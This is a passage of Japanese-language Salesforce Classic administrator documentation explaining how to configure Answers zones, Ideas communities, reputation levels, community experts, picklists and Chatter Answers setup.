Internal Zone をデフォルトとして使用するか、または新しいゾーンを作成してそれをデフォルトとして使用
することができます。

5. [保存] をクリックします。

関連トピック:

ゾーンの作成と編集

データカテゴリのアンサーへの割り当て

エディション

使用可能なエディション:
Salesforce Classic

アンサーを使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

回答の設定をカスタマイ
ズする
• 「アプリケーションの

カスタマイズ」

メモ: Winter '18 リリース時点で、アンサーはすべての Salesforce 組織で廃止
される予定です。詳細は、「Chatter アンサーは Winter ’18 で廃止」を参照し
てください。Summer '13 リリース以降、新しい組織ではアンサーを使用でき
ません。代わりに、Chatter の質問 (Chatterにシームレスに統合された Q&A 機
能) を使用できます。Chatter の質問を使用すれば、Chatterから移動せずに質
問したり、答えを検索したりできます。既存の組織は、Summer '13 より前の
リリースで有効化されていれば Winter '18 までアンサーに引き続きアクセス
できます。

アンサーゾーンでは、カテゴリグループに 1 つ以上のカテゴリが含まれており、
質問を整理して参照しやすくするのに役立ちます。カテゴリグループに階層が
含まれる場合、最初のレベルのカテゴリだけに [アンサー] タブが表示されます。
たとえば、コンピュータメーカーの場合、製品ゾーンに、高性能ラップトップ、
ポータブルラップトップ、ゲーム用デスクトップ、エンタープライズデスクトッ
プの 4 つのカテゴリを持つ製品カテゴリグループを作成することができます。
ゾーンメンバーは、カテゴリのいずれかを選択して、質問に割り当てることが
できます。
次の例では、カテゴリグループ内のカテゴリが [アンサー] タブでどのように表
示されるかを示します。
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カテゴリを表示する [アンサー] タブ

1. アンサーに割り当てられたゾーンです。
2. カテゴリグループをアンサーに割り当てると、グループ内のデータカテゴリが [アンサー] タブのゾーン名

の下に表示されます。ゾーンメンバーはこれらのカテゴリを質問に割り当て、カテゴリ内を参照して関連
する質問を表示できます。カテゴリグループの名前は、アンサーコミュニティ内には表示されません。

カテゴリグループの名前は、アンサーコミュニティには表示されませんが、グループ内のすべてのカテゴリが
[アンサー] タブのゾーン名の下に表示されます。
カテゴリグループをアンサーに割り当てる手順は、次のとおりです。
1. アンサーのカテゴリグループを作成し、カテゴリグループにデータカテゴリを追加します。

システム管理者がカテゴリグループが使用されている場所を認識できるよう、カテゴリグループにはアン
サーコミュニティと同じ名前を付けることをお勧めします。

メモ: カテゴリグループには最大 5 つの階層レベルを作成できますが、アンサーコミュニティでサポー
トされるのは最初のレベルのカテゴリのみです。1 つ目のレベルの下にある子カテゴリはコミュニティ
には表示されず、コミュニティメンバーはこれらの子カテゴリを質問に割り当てることはできませ
ん。

2. [設定] から、[クイック検索]ボックスに「データカテゴリの割り当て」と入力し、[データカテゴリの割り当
て] を選択します。[カテゴリグループの割り当て] ページは、アンサーを有効にした場合にのみ表示されま
す。

3. [編集] をクリックします。
4. アンサーゾーンに割り当てるカテゴリグループを選択します。

メモ: 後でアンサーのカテゴリグループを変更する場合、質問に関連付けられている既存のカテゴリ
がすべて削除され、コミュニティメンバーが新しいカテゴリを割り当てるまで、アンサーコミュニ
ティの質問は未分類となります。
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5. [保存] をクリックします。
保存プロセスが完了すると、メールで通知されます。

関連トピック:

Salesforce.com のデータカテゴリ

アイデアコミュニティ

Salesforce コミュニティでのアイデアの作成と共有の促進

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Salesforce コミュニティの
アイデアの設定をカスタ
マイズする
• 「アプリケーションの

カスタマイズ」

新しいコラボレーション方法を利用するために、Salesforce コミュニティにアイ
デアのユーザを追加します。
Salesforce コミュニティホームページから顧客がアイデアに関して投稿やコメン
トを行えるようにして、アイデアを中心にさらなる取組みやコラボレーション
を生み出します。アイデアが Salesforce コミュニティに追加されると、コミュニ
ティメンバー間の活気ある建設的なパートナーシップの恩恵をユーザが享受で
きます。コミュニティは、カスタマイズ可能な、従業員、顧客、およびパート
ナーがベストプラクティスやビジネスプロセスにおいてコラボレーションを行
うための、公開または非公開のスペースです。アイデアをSalesforce コミュニティ
で有効化すると、コミュニティメンバーはアイデアおよびアイデアのテーマを
作成でき、アイデアを中心とした意見交換を行うことができます。顧客または
パートナーがアイデアを交換できる公開コミュニティを作成したり、従業員専
用の非公開な内部コミュニティを作成したりできます。
権限に応じて、アイデアコミュニティのモデレートおよび管理を内部コミュニ
ティメンバーに割り当てることができます。内部ユーザは、アクセス権を持つ
公開コミュニティだけでなく、内部コミュニティにもアクセスできるため、内
部コミュニティと外部コミュニティの両方をモデレートできます。
コミュニティを小規模なグループにまとめるため、特別な関心、製品グループ、
顧客種別が反映されるゾーンをコミュニティ内で作成できます。ゾーンはアイ
デア、アンサー、およびChatter アンサーアプリケーションで共有されるため、どちらからでもゾーンを表示お
よび作成できます。たとえば、コンピュータメーカーの場合、「ラップトップ製品」と「デスクトップ製品」
という名前のコミュニティを作成できます。この両方のコミュニティで、製品の異なる側面に固有のゾーンを
作成できます。
コミュニティメンバーには、そのユーザプロファイルに基づいて異なるゾーンが表示されます。
• コミュニティユーザには、サインインしたコミュニティに関連付けられたゾーンが表示されます。
• アイデアの表示権限を持つ内部ユーザには、組織のすべての社外秘ゾーンが表示されます。内部ユーザが

コミュニティにサインインすると、そのコミュニティに関連付けられたゾーンのみが表示されます。
• Chatter アンサーの表示権限を持つ内部ユーザには、組織のすべての社外秘ゾーンが [Q&A] タブに表示されま

す。内部ユーザがコミュニティにサインインすると、そのコミュニティに関連付けられたゾーンのみが表
示されます。

• ポータルユーザには、そのポータルに関連付けられたゾーンが表示されます。
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• ポータルとコミュニティへの両方のアクセス権を持つポータルユーザには、ポータルまたは現在サインイ
ンしているコミュニティに関連付けられたゾーンが表示されます。

• API 経由でポータルまたはコミュニティにアクセスしているユーザは、すべてのコンテキストでアクセス権
を持つすべてのゾーンにアクセスできます。

• 内部ユーザが実行する内部アプリケーションでのグローバル検索では、組織内で使用できるすべてのアイ
デアから結果が返されます。Salesforce コミュニティの他のすべてのユーザが実行する検索では、コミュニ
ティで使用できるアイデアから結果が返されます。

アイデアの管理

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

アイデアコミュニティを
管理する
• 「アプリケーションの

カスタマイズ」

アイデアは、アイデアとアイデアに対する投票およびコメントを投稿するユー
ザのコミュニティです。あらゆる主題に関して議論し、人気ランキングを付け
るオンライン提案箱と考えてください。コミュニティを小規模なグループにさ
らに整理するため、特別な関心、製品グループ、顧客種別が反映されるゾーン
をコミュニティ内で作成できます。
アイデアは、Salesforce内部ユーザ、Salesforce.com コミュニティ、カスタマーポー
タルユーザまたはパートナーポータルユーザ、または公開ユーザ (Force.comサイ
トの設定が必要) に公開できます。アイデアはコンソールからも管理できます。
Professional Edition を使用している組織は、1 つの内部ゾーンのみ使用できます。
その他のすべてのエディションでは、アイデア、アンサー、Chatter アンサーで
共有される最大 50 個のゾーンを使用できます。
システム管理者は、次のことを行えます。
• 組織でアイデアを有効化するかどうかを制御し、アイデアの半減期をカスタ

マイズする。「アイデアの設定のカスタマイズ」を参照してください。
• アイデアを整理するゾーンを作成する。「ゾーンの作成と編集」を参照して

ください。
• 特定のトピックに関するアイデアを投稿するようにコミュニティメンバーを

招待できるアイデアのテーマを作成すると、メンバーは問題を解決したり、会社の革新を提案したりでき
るようになる。

• [カテゴリ]項目と [状況]項目の選択リスト値を定義する。「[カテゴリ] 項目と [状況] 項目の選択リストの
値の定義」を参照してください。

• カスタム項目のレイアウトを指定する。「アイデアのページレイアウトの設定」を参照してください。
• アイデアレポートのユーザに公開する。
• アイデアの検索レイアウトをカスタマイズする。
• アイデアをマージして、重複するアイデア数を減らす。
• アイデアに状況を割り当てる。
• API を介して投票を削除し、これまで行われた投票の全履歴を消去する。

具体的に、投票の削除では次の処理を行います。
– アイデア全体のスコアから 10 ポイント引きます。
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– アイデアの詳細ページの [最新の 100 票] セクションからユーザ名を削除します。

関連トピック:

カスタマーポータルのアイデアの有効化

アイデアの設定のカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

アイデアの設定をカスタ
マイズする
• 「アプリケーションの

カスタマイズ」

アイデアの組織全体の設定を管理する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「アイデアの設定」と入力し、[アイ

デアの設定] を選択します。
2. [編集] をクリックします。
3. [アイデアの有効化]チェックボックスを使用して、組織のアイデアを有効ま

たは無効にします。
アイデアを無効化すると、[アイデア] タブが削除され、ユーザは有効なゾー
ンにアクセスできなくなりますが、次にアイデアを有効化したときに、[アイ
デア] タブにゾーンが再度表示されます。

4. 必要に応じて、[テキストの書式設定、画像、リンクを有効にする] をオンに
して、アイデアの HTML エディタを有効化します。アイデアを投稿したりコ
メントを付けたりするときに、このエディタによってユーザは WYSIWYG HTML

編集と画像参照の機能を使用できるようになります。

警告: アイデア HTML エディタを有効にすると、無効にすることはでき
ません。[テキストの書式設定、画像、リンクを有効にする]チェックボッ
クスが表示されない場合、組織ではアイデア HTML エディタがデフォル
トで有効になっています。

5. 組織で複数選択式の [カテゴリ]項目が有効になっていない場合は、ページ上部の [カテゴリ] メッセージの
下にある [有効化]ボタンをクリックします。このボタンは、組織がすでに [カテゴリ]項目を有効にしてい
る場合は表示されません。
[カテゴリ]項目がすでに有効になっている場合、[カテゴリの有効化]チェックボックスがオンになってい
ます。項目をいったん有効にすると、無効にすることはできません。

6. [評価を有効化] を選択すると、各ゾーンの活動に基づいてユーザはポイントおよび評価を獲得できます。
7. ゾーンのすべてのユーザプロファイルの [アイデアユーザプロファイル] 種別を選択します。

説明ユーザプロファイル種別

ユーザのChatterプロファイルがデフォルトのユーザ
プロファイル種別です。このオプションを選択する

Chatter プロファイル

場合に、ユーザに Chatter プロファイルがないとき
は、アイデアゾーンプロファイルが使用されます。
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説明ユーザプロファイル種別

アイデアゾーンにユーザが設定するプロファイル。
このプロファイルの種別は、ポータル内のアイデア
ゾーンに使用されます。

アイデアゾーンプロファイル

ゾーン内のすべてのアイデアユーザに対して、カス
タムプロファイルの Visualforce ページを指定できま

Visualforce ページ付きのカスタムプロファイル

す。このプロファイル種別を選択する場合、Visualforce

ページを [カスタムプロファイルページ]に指定する
必要があります。

8. [アイデアの半減期 (日数)] 項目に日数を入力します。
半減期設定により、[人気のあるアイデア] サブタブで古いアイデアが順位を下げ、新しい投票を多く集め
ているアイデアに順位を譲るまでの期間が決められます。半減期が短いと、長い場合よりも早く古いアイ
デアがページの下の方に移動します。

メモ: この項目は、アイデアが無効になると表示されません。[アイデアの半減期 (日数)]項目を変更
するには、アイデアを有効化した後の変更を保存してから、[アイデアの設定] ページの[編集]をクリッ
クします。

9. [保存] をクリックします。

関連トピック:

アイデアの管理
アイデアの評価を使用した革新の促進

アイデアの評価を使用した革新の促進

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

アイデアコミュニティに最も影響を及ぼす革新的なメンバーに、コミュニティ
への参加と貢献を認めることで報います。アイデアで評価を有効化し、レベル
名としきい値を選択すると、コミュニティで頻繁に行う有意義な活動に報奨を
与え奨励するためのポイントや評価をユーザが獲得できます。コミュニティメ
ンバーが頻繁に参加するほど、アイデアの全体的な品質が向上し、顧客との活
気ある建設的なパートナーシップの恩恵を全員が享受できることになります。
ユーザは、次のような活動に対してポイントを獲得できます。
• アイデアの作成
• アイデアに関するコメントの受信
• アイデアまたはコメントに関する賛成票の受信
• 他の人のアイデアに対するコメント
評価ポイントは、ゾーンごと、および組織全体での累積活動について個別に計算されます。異なるゾーンに参
加しているユーザは、そのゾーンでの活動に基づいてゾーンごとに異なる評価値が計算されます。ユーザが内
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部アプリケーションにログインしている場合、評価スコアはユーザが属しているすべてのゾーンでの参加に基
づきます。
アイデアには、すべてのゾーンおよび内部アプリケーションに適用される、事前定義された次の評価レベルが
あります。コミュニティ内の参加レベルを反映するため、API を使用して、レベルごとに評価レベルとポイン
トを追加または編集できます。

レベルごとのポイント数名前

0 ～ 99オブザーバー

100 ～ 399寄稿者

400 ～ 1499インフルエンサー

1500 ～オピニオンリーダー

評価レベルは、API を通して使用でき、カスタムアイデアの実装で表示できます。評価レベルの名前、レベル
ごとのポイント数、または任意のゾーンの他の評価属性を追加または編集するには、API の IdeaReputation オブ
ジェクトと IdeaReputationLevel オブジェクトを使用します。ゾーンごとに 25 個までの異なる評価レベルを作成
できます。

関連トピック:

アイデアの設定のカスタマイズ

コミュニティエキスパートの指定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

人気のあるユーザをコミュニティのエキスパートに指定します。
コミュニティエキスパートは、組織を代表する信頼のおける権威ある立場で話
すコミュニティメンバーです。コミュニティエキスパートがコメントまたはア
イデアを投稿すると、その名前の横に固有のアイコン ( ) が表示されます。
Salesforce システム管理者は、必要に応じてコミュニティエキスパートを何人で
も指名できます。
コミュニティ内にエキスパートが必要な場合は、ゾーンを設定し、エキスパー
トユーザを含む公開グループを作成します。設定プロセス時に、この公開グルー
プをコミュニティエキスパートとして指定できます。
公開グループをコミュニティエキスパートとして選択する前に、次の点に注意
してください。
• コミュニティエキスパートには、コミュニティに対して正式に回答する責任を負う組織の従業員を指定で

きます。また、コミュニティ内で活発に活動し、専門分野に関する知識が豊富な組織外の人物も指定でき
ます。

• コミュニティエキスパートとその他のコミュニティメンバーとの唯一の違いは、コミュニティエキスパー
トは名前の横に固有のアイコンが付くという点です。コミュニティエキスパートには、ユーザプロファイ
ルおよび権限セットで指定されている以上の特別な権限はありません。
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• コミュニティエキスパートは公開グループに属している必要があり、その公開グループは、[エキスパート
グループ] ドロップダウンリストで指定される必要があります。コミュニティごとのエキスパートが異な
る場合は、各コミュニティ用の公開グループを作成する必要があります。

• カスタマーポータルやパートナーポータルにコミュニティを表示する場合、カスケードスタイルシート (CSS)

を使用して、コミュニティエキスパートに関連付けるアイコンを変更できます。ポータルを作成するとき、
ポータルの [ヘッダー] に CSS を指定し、expertUserBadge クラスを使用してコミュニティエキスパート
用の新しい背景画像を参照します。アイコンは、16 x 16 ピクセル以下にすることをお勧めします。

関連トピック:

ゾーンの作成と編集

アイデアのページレイアウトの設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

アイデアカスタム項目の
レイアウトを設定する
• 「アプリケーションの

カスタマイズ」

アイデアのカスタム項目を作成すると、その項目を [アイデアの投稿] ページと
[アイデアの詳細] ページに表示される [追加情報] セクションに追加できます。
[追加情報] セクションに表示されるカスタム項目の順序を指定したり、システム
から完全に削除することなくページからカスタム項目を削除したりできます。
標準項目をページレイアウトに移動することもできますが、デフォルトではペー
ジ上部の [アイデアの詳細] セクションにすでに表示され、その順序はカスタマ
イズできません。ただし、[状況] 項目を [追加情報] セクションにドラッグし
て、アイデアの状況をページレイアウトに表示することはできます。

メモ:  [追加情報] セクションの表示ラベルとレイアウトはカスタマイズでき
ません。

1. アイデアのオブジェクト管理設定から、[ページレイアウト] に移動します。
2. [編集] をクリックします。
3. 右側のボックスからカスタム項目を選択し、[追加情報] セクションにドラッ

グします。カスタム項目は、[追加情報] セクションに配置した順序で表示さ
れます。

4. ゾーンメンバーに対してアイデアの状況を表示するには、[状況] 項目を選
択して [追加情報] セクションにドラッグします。

5. ユーザがファイルをアイデアに追加できるようにするには、[添付ファイル] 項目を選択して [追加情報] セ
クションにドラッグします。ユーザに対して項目レベルのセキュリティを必ず設定してください。

6. [保存] をクリックします。

関連トピック:

[カテゴリ] 項目と [状況] 項目の選択リストの値の定義
オブジェクト管理設定の検索
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アイデアのコメントへの Apex トリガの追加

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Apex トリガを定義する
• 「Apex 開発」

アイデアコミュニティを
管理する
• 「アプリケーションの

カスタマイズ」

Apex トリガをアイデアのコメントに追加すると、ユーザがアイデアに投稿する
コメントに関連付けられたアクションを実行できます。
トリガとは、レコードのライフサイクル内の特定のタイミングで実行される Apex

コードのことです。コミュニティ内のアイデアをより詳細に管理するために、
アイデアのコメントに Apex トリガを追加できます。
コメントのトリガを使用して、次のようなアクションを実行します。
• アイデアにコメントが投稿されたときに、モデレータまたは他のユーザに

メール通知を送信する。
• ユーザにコメントの内容を記載したメール通知を送信する。
• アイデアのコメント数が指定された数に達したときに、モデレータに通知す

る。
• 特定の単語を含むコメントの投稿を防止する。

コミュニティアプリケーションへの移行

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

アイデアの設定をカスタ
マイズする
• 「アプリケーションの

カスタマイズ」

組織で Winter '10 リリース以前にアイデアを有効化している場合は、新しいコミュ
ニティアプリケーションに移行することをお勧めします。コミュニティアプリ
ケーション:

• Force.comアプリケーションメニューのアイデアアプリケーションと置き換わ
ります。

• [アイデア] タブと [解答] タブがあります。
アンサーは、コミュニティアプリケーションの機能の 1 つです。この機能に
より、ユーザが質問したり、コミュニティメンバーが返信を投稿したりする
ことができます。コミュニティメンバーは、それぞれの回答の役立ち度につ
いて投票し、また質問したユーザは最良の回答として回答をマークできま
す。

警告: コミュニティアプリケーションに移行すると、前のアイデアアプリ
ケーションに戻ることはできません。[アイデア] タブとすべての既存デー
タは、新しいコミュニティアプリケーションでも引き続き使用できます。

コミュニティアプリケーションに移行する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「アイデアの設定」と入力し、[アイ

デアの設定] を選択します。
[アイデアの設定] ページの上部にコミュニティメッセージが表示されます。コミュニティメッセージが表
示されない場合、コミュニティアプリケーションはすでに組織で有効になっています。
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2. コミュニティメッセージの下の [有効化] をクリックします。Salesforce により、「コミュニティ」という名
前のカスタムオブジェクトが組織に存在するかが確認されます。そのようなオブジェクトが存在する場合、
コミュニティアプリケーションを有効にする前にそのオブジェクトを削除するか名前を変更する必要があ
ります。

3. Salesforceによりコミュニティアプリケーションへの移行が可能なことが確認されたら、[有効化]をクリック
します。

アイデアの標準項目とカスタム項目のカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

「アプリケーションのカスタマイズ」選択リストの値を定義する

「アプリケーションのカスタマイズ」項目レベルセキュリティを設定する

「アプリケーションのカスタマイズ」項目の入力規則を定義または変更する

「アプリケーションのカスタマイズ」アイデアカスタム項目を作成する

「アプリケーションのカスタマイズ」アイデアの添付ファイルを有効にする

システム管理者は、組織固有の要件に合わせて、アイデアの標準項目とカスタ
ム項目をカスタマイズできます。
• [カテゴリ] 項目と [状況] 項目の選択リスト値を定義する。
• 標準項目またはカスタム項目の名前をクリックし、項目レベルセキュリティを設定する。
• カスタム項目の名前をクリックし、入力規則を設定する。
• アイデアのカスタム項目を作成する。カスタム項目は、[アイデアの投稿] ページや [アイデアの詳細] ページ

の [追加情報] セクションに表示されます。
• [添付ファイル] 項目をレイアウトに追加し、項目レベルセキュリティを設定します。ユーザは、Microsoft®

PowerPoint® プレゼンテーションや Excel® スプレッドシートから、Adobe® PDF ファイル、画像ファイル、音声
ファイル、動画ファイルまで、サポートされるあらゆるファイル形式を添付できます。添付ファイルの最
大サイズは、所属する組織によって決まります。

メモ: アイデアのカスタム実装では、URL.getFileFieldURL  Apex メソッドを使用して、添付ファイ
ルのダウンロード URL を取得できます。

関連トピック:

アイデアの設定のカスタマイズ
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ゾーンの選択リスト値とデフォルトの選択

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ゾーンの選択リスト値を
追加または削除する
• 「アプリケーションの

カスタマイズ」

[分類] 項目や [状況] 項目の選択リスト値を定義した後、ゾーン別にそれらの
項目の選択リスト値を追加または削除し、デフォルト値を指定できます。これ
により、ゾーン固有の目的に基づいて [分類] 項目と [状況] 項目をカスタマイ
ズできます。詳細は、「[カテゴリ] 項目と [状況] 項目の選択リストの値の定義」
(ページ 2948)を参照してください。
特定のゾーンの選択リスト値を追加または削除する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「ゾーン」と入力し、[ゾーン] を選

択します。
2. ゾーンの名前をクリックします。
3. [アイデア選択リスト]セクションで、[分類]項目または [状況]項目の横に

ある [編集] をクリックします。
4. 選択リスト値を削除するには、[選択済みの値] リストから値を選択し、[削除]

をクリックします。
5. ゾーンに選択リスト値を追加するには、[選択可能な値] リストから値を選択

し、[追加] をクリックします。
6. 項目のデフォルト値を指定するには、[デフォルト] ドロップダウンリストを使用します。
7. [保存] をクリックします。

関連トピック:

ゾーンの作成と編集

[カテゴリ] 項目と [状況] 項目の選択リストの値の定義

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

選択リストの値を定義す
る
• 「アプリケーションの

カスタマイズ」

概要
ゾーンメンバーがアイデアにカテゴリを割り当てたり、アイデアの状況を参照
したりするには、アイデア管理者が [分類] 項目と [状況] 項目に選択リストの
値を定義する必要があります。これらのフィールドは、アンサーコミュニティ
ではなく、アイデアコミュニティでのみ使用できます。
カテゴリは、システム管理者が定義した値で、アイデアをゾーン内で論理サブ
グループに整理するときに役立ちます。[アイデア] タブの [カテゴリの参照] ド
ロップダウンリストを使用して、ユーザはアイデアをカテゴリ別に絞ることが
でき、[アイデアの投稿] ページの [カテゴリ] 選択リストで、アイデアにカテゴ
リを追加することができます。
アイデアの状況により、ゾーンメンバーはアイデアの進捗を追跡できます。た
とえば、[レビュー中]、[レビュー済み]、[利用不可]、[利用可能] 等の値をシステ
ム管理者は定義することができます。アイデアの状況は、アイデアのタイトル
の横に表示され、すべてのゾーンメンバーが見ることができます。
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メモ:  ([分類] ではなく) [分類] 項目が表示される場合、ゾーンメンバーが 1 つのアイデアに対して割り
当てることができるカテゴリは 1 つのみです。1 つのアイデアに複数のカテゴリを割り当てることを許可
するには、[設定] から [クイック検索] ボックスに「アイデアの設定」と入力し、[アイデアの設定] を選択
して [カテゴリ] を有効にします。

選択リスト値の定義
標準項目の [カテゴリ] と [状況] の選択リスト値を定義する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「アイデア」と入力し、[項目] を選択します。
2. [カテゴリ] または [状況] 標準項目の横にある [編集] をクリックします。
3. 選択リスト編集ページで [新規] をクリックして、標準項目に新しい選択リスト値を追加します。選択リス

ト値の編集、削除、並び替え、置き換えもできます。

メモ: [カテゴリ] 項目や [状況] 項目に選択リストの値を追加すると、その項目には常に、選択リス
ト値が少なくとも 1 つは必要になります。つまり、選択リストの値は、その項目の値が残り 1 つにな
るまで削除できます。

4. 所定のテキスト領域で、選択リストの値を 1 つ以上 (1 行に 1 つずつ) 追加します。
5. 新しい選択リスト値を含めるゾーンを選択します。
6. 変更内容を保存します。
7. [カテゴリ] 項目や [状況] 項目にデフォルト値を指定するには、「ゾーンの選択リスト値とデフォルトの

選択」を参照してください。

メモ: [カテゴリ] または [状況] のデフォルト値の指定には、[項目] ページの [編集]リンクは使用しな
いでください。デフォルト値は、ゾーンの詳細ページからのみ指定できます。

8. ゾーンメンバーに対してアイデアの状況を表示するには、[状況] 項目を選択して [追加情報] セクションに
ドラッグします。この項目を見つけるには、[設定] から [クイック検索]ボックスに「アイデア」と入力し、
[項目] を選択します。
このチェックボックスをオンにすると、新しいアイデアを投稿したり既存のアイデアを編集したりすると
きに、アイデアに状況を割り当てることができます。

関連トピック:

アイデアの管理
ゾーンの選択リスト値とデフォルトの選択
オブジェクト管理設定の検索
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[カテゴリ] 項目の有効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

アイデアの設定をカスタ
マイズする
• 「アプリケーションの

カスタマイズ」

[分類] 項目を使用している組織は、複数選択式の [分類] 項目への切り替えが
可能になり、ゾーンメンバーは 1 つのアイデアに複数のカテゴリを関連付けら
れるようになりました。[カテゴリ] 項目では、1 つのアイデアに関連付けるこ
とができるカテゴリは 1 つだけです。

警告: [カテゴリ] 項目をいったん有効にすると、無効にはできません。ま
た、[カテゴリ]項目を有効にすると、SalesforceおよびAPI内にある古い [カ
テゴリ] 項目は自動的に無効になります。

[カテゴリ] 項目を有効にすると、Salesforce は自動的に次の処理を行います。
• 組織のワークフロールール、トリガ、入力規則、カスタム項目、およびApex

コードを確認し、[カテゴリ] 項目を参照するものがあれば一覧を表示しま
す。それらの参照を手動で修正または削除しないと、Salesforceで [カテゴリ]

項目を有効にすることはできません。
• 選択リスト値と検索レイアウトをすべて、古い [カテゴリ] から新しい [カ

テゴリ] 項目へと自動的に移動します。
• 新しい [カテゴリ] 項目で、各アイデアが適切な選択リスト値に関連付けら

れていることを確認します。
• 新しい [カテゴリ] 項目を Salesforce および API で有効にします。
[カテゴリ] 項目を有効にする手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「アイデアの設定」と入力し、[アイデアの設定] を選択します。
2. ページ上部の [カテゴリ(複)] メッセージの下にある [有効化]をクリックします。このボタンは、組織がすで

に [カテゴリ] 項目を有効にしている場合は表示されません。
Salesforceは、組織のワークフロールール、トリガ、入力規則、カスタム項目、およびApexコードに、[カテ
ゴリ] 項目を参照するものがないかを確認し、この参照を削除する必要がある箇所の一覧を表示します。

3. [カテゴリ] 項目への参照を削除する必要がある場合は、[キャンセル] をクリックします。参照を削除した
ら、再度 [カテゴリ] 項目の有効化を試みます。

メモ: 入力規則とワークフロールールについては、ルールを削除するか、ルール内のカテゴリの参照
を修正する必要があります。ルールを無効にするだけでは不十分です。[カテゴリ]項目を参照するカ
スタム項目を削除する必要がある場合、削除した後に必ずその項目を消去してください。

4. ポップアップウィンドウの情報を読み、[有効化]をクリックします。Salesforceが新しい項目を有効化するの
に数分かかる場合があります。

5. 古い [カテゴリ] 項目を参照するカスタムレポートを修正します。

関連トピック:

アイデアの設定のカスタマイズ
ゾーンの選択リスト値とデフォルトの選択
[カテゴリ] 項目と [状況] 項目の選択リストの値の定義
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アイデアのテーマの有効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

アイデアのテーマの設定
をカスタマイズする
• 「アプリケーションの

カスタマイズ」

1. [設定] から、[クイック検索] ボックスに「アイデアのテーマの設定」と入力
し、[アイデアのテーマの設定] を選択します。

2. [編集] をクリックします。
3. [アイデアのテーマを有効化] を選択します。
4. [保存] をクリックします。

関連トピック:

アイデアの設定のカスタマイズ

Chatter アンサーコミュニティ

Chatter アンサー実装の概要

エディション

使用可能なエディション:
Salesforce Classic

Chatter アンサーを使用可
能なエディション:
Enterprise Edition、
Developer Edition、
Performance Edition、およ
び Unlimited Edition

メモ: Chatter アンサーは、Winter '18 以降すべての Salesforce組織で廃止が予定
されています。詳細は、「Chatter アンサーは Winter ’18 で廃止」を参照して
ください。Summer '16 以降、新規組織で Chatter アンサーは使用できません。
代わりに、Chatter の質問 (Chatter にシームレスに統合された Q&A 機能) を使
用できます。Chatter の質問を使用すれば、Chatter から移動せずに質問した
り、答えを検索したりできます。既存の組織は、Summer '16 より前に Chatter

アンサーを有効化していれば、今後 Winter '18 まで Chatter アンサーに引き続
きアクセスできます。

メモ: Chatter アンサーには複数の Salesforce機能が含まれるため、Chatter アン
サーの設定および管理は、Salesforce 上級システム管理者および開発者が行
うことをお勧めします。

Chatter アンサーは、ユーザが質問を投稿して他のユーザやサポートエージェントから回答やコメントを受け取
れる、セルフサービスのサポートコミュニティです。Chatter アンサーは、ケース、質問と回答、およびSalesforce

ナレッジの記事を一元化します。システム管理者がChatter アンサーを設定するには、組織にデータカテゴリが
実装されている必要があります。Salesforce ナレッジ記事をゾーンで表示する場合は、システム管理者がSalesforce

ナレッジを実装する必要があります。
他の Salesforce機能とは異なり、Chatter アンサーの設定は複数の箇所にまたがります。Chatter アンサーに関連す
る設定をすべて更新および設定できる 1 つの場所というものは、Salesforce にはありません。たとえば、Chatter

アンサーの設定には、カスタマーポータル設定の更新が必要になる場合があります。これには、[設定] から、
[クイック検索] ボックスに「カスタマーポータル設定」と入力し、[カスタマーポータル設定] を選択します。
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また、Force.comサイトの設定を更新する必要がある場合は、[クイック検索]ボックスに「サイト」と入力し、
[サイト] を選択します。
Chatter アンサーの設定では、次のカスタマイズまたは管理も必要です。
• ケース
• ケースの割り当てルール
• ケースまたは質問に関するワークフロールール
• 質問に対する Apex トリガ
• Visualforce ページ
• カスタマーポータルユーザ
• 組織の共有設定
• 機能ライセンス
Chatter アンサーゾーンの外観を会社のブランドに合わせてカスタマイズする場合、Visualforceページを作成また
は更新して、ゾーンのホストに使用する Force.com サイトに追加することも必要になります。

関連トピック:

Chatter アンサーの設定

Chatter アンサーの設定

エディション

使用可能なエディション:
Salesforce Classic

Chatter アンサーを使用可
能なエディション:
Enterprise Edition、
Developer Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

Chatter アンサーを設定す
る
• 「アプリケーションの

カスタマイズ」

および

「ユーザの管理」

および

「セルフサービスユー
ザの編集」

メモ: Chatter アンサーは、Winter '18 以降すべての Salesforce組織で廃止が予定
